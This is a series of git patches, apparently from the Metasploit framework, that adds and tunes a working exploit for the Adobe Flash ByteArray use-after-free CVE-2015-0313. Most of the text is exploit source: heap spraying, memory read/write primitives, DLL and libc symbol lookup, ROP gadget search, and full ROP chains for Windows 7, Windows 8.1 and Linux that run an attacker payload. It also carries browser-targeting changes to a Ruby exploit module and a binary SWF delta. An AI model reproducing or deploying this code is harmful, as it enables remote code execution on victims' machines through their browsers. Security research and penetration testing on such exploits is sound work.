mc:MessageChannel private var b64:Base64Decoder = new Base64Decoder() - private var payload:String = "" + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter - public function Main() + public function Exploit() { if (Worker.current.isPrimordial) mainThread() else workerThread() @@ -39,11 +42,13 @@ public class Main extends Sprite private function mainThread():void { - // var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - // var pattern:RegExp = / /g; - // b64_payload = b64_payload.replace(pattern, "+") -// b64.decode(b64_payload) -// payload = b64.toByteArray().toString() + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() ba.length = 0x1000 ba.shareable = true @@ -60,7 +65,6 @@ public class Main extends Sprite worker.setSharedProperty("mc", mc) worker.setSharedProperty("ba", ba) ApplicationDomain.currentDomain.domainMemory = ba - Logger.log("starting...") worker.start() } @@ -84,12 +88,10 @@ public class Main extends Sprite private function onMessage(e:Event):void { - Logger.log("[*] onMessage") var mod:uint = casi32(0, 1022, 0xFFFFFFFF) - Logger.log("[*] onMessage - mod: " + mod.toString()) + Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) if (mod == 1022) mc.receive() else { - Logger.log("[*] onMessage - Searching corrupted vector...") for (var i:uint = 0; i < ov.length; i++) { if (ov[i].length == 0xffffffff) { uv = ov[i] @@ -98,10 +100,10 @@ public class Main extends Sprite } } if (uv == null) { - Logger.log("not found") + Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") return } - Logger.log('whooray: ' + uv.length.toString(16)) + exploiter = new Exploiter(this, platform, os, payload, uv) } } } diff --git a/external/source/exploits/CVE-2015-0313/ExploitByteArray.as b/external/source/exploits/CVE-2015-0313/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/ExploitVector.as b/external/source/exploits/CVE-2015-0313/ExploitVector.as new file mode 100644 index 0000000000..9fcbb01f7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 1014 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as new file mode 100644 index 0000000000..b371c51895 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Logger.as b/external/source/exploits/CVE-2015-0313/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/PE.as b/external/source/exploits/CVE-2015-0313/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb index 7661bef86b..c6c5b35ef6 100644 --- a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb @@ -6,9 +6,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -43,9 +42,12 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' }, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, + :flash => lambda { |ver| ver =~ /^16\./},# && Gem::Version.new(ver) == Gem::Version.new('16.0.0.296') }, :arch => ARCH_X86 }, 'Targets' => @@ -78,17 +80,18 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'win' + os_name = target_info[:os_name] html_template = %Q| - + - + From fb531d0069d22bc373c29ba0d168f98d759385fe Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 09:38:00 -0500 Subject: [PATCH 0382/1013] Update version coverage --- .../windows/browser/adobe_flash_worker_byte_array_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb index c6c5b35ef6..5575afab8c 100644 --- a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, - :flash => lambda { |ver| ver =~ /^16\./},# && Gem::Version.new(ver) == Gem::Version.new('16.0.0.296') }, + :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.296') }, :arch => ARCH_X86 }, 'Targets' => From 2b4fe96cfdbe5a90d3e63c420e762974529568b6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 10:55:50 -0500 Subject: [PATCH 0383/1013] Tweak Heap Spray --- data/exploits/CVE-2015-0313/msf.swf | Bin 20971 -> 21149 bytes .../source/exploits/CVE-2015-0313/Exploit.as | 17 +++++++++++++++-- .../exploits/CVE-2015-0313/Exploiter.as | 2 +- .../source/exploits/CVE-2015-0313/Logger.as | 2 +- 4 files changed, 17 insertions(+), 4 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2015-0313/msf.swf diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf old mode 100755 new mode 100644 index 065aebeb0ce44ab1cd5eb783022d813fd2ef5f59..fafeb047efe5791b6bcfecb2d58d7a9613dab1e1 GIT binary patch delta 21033 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 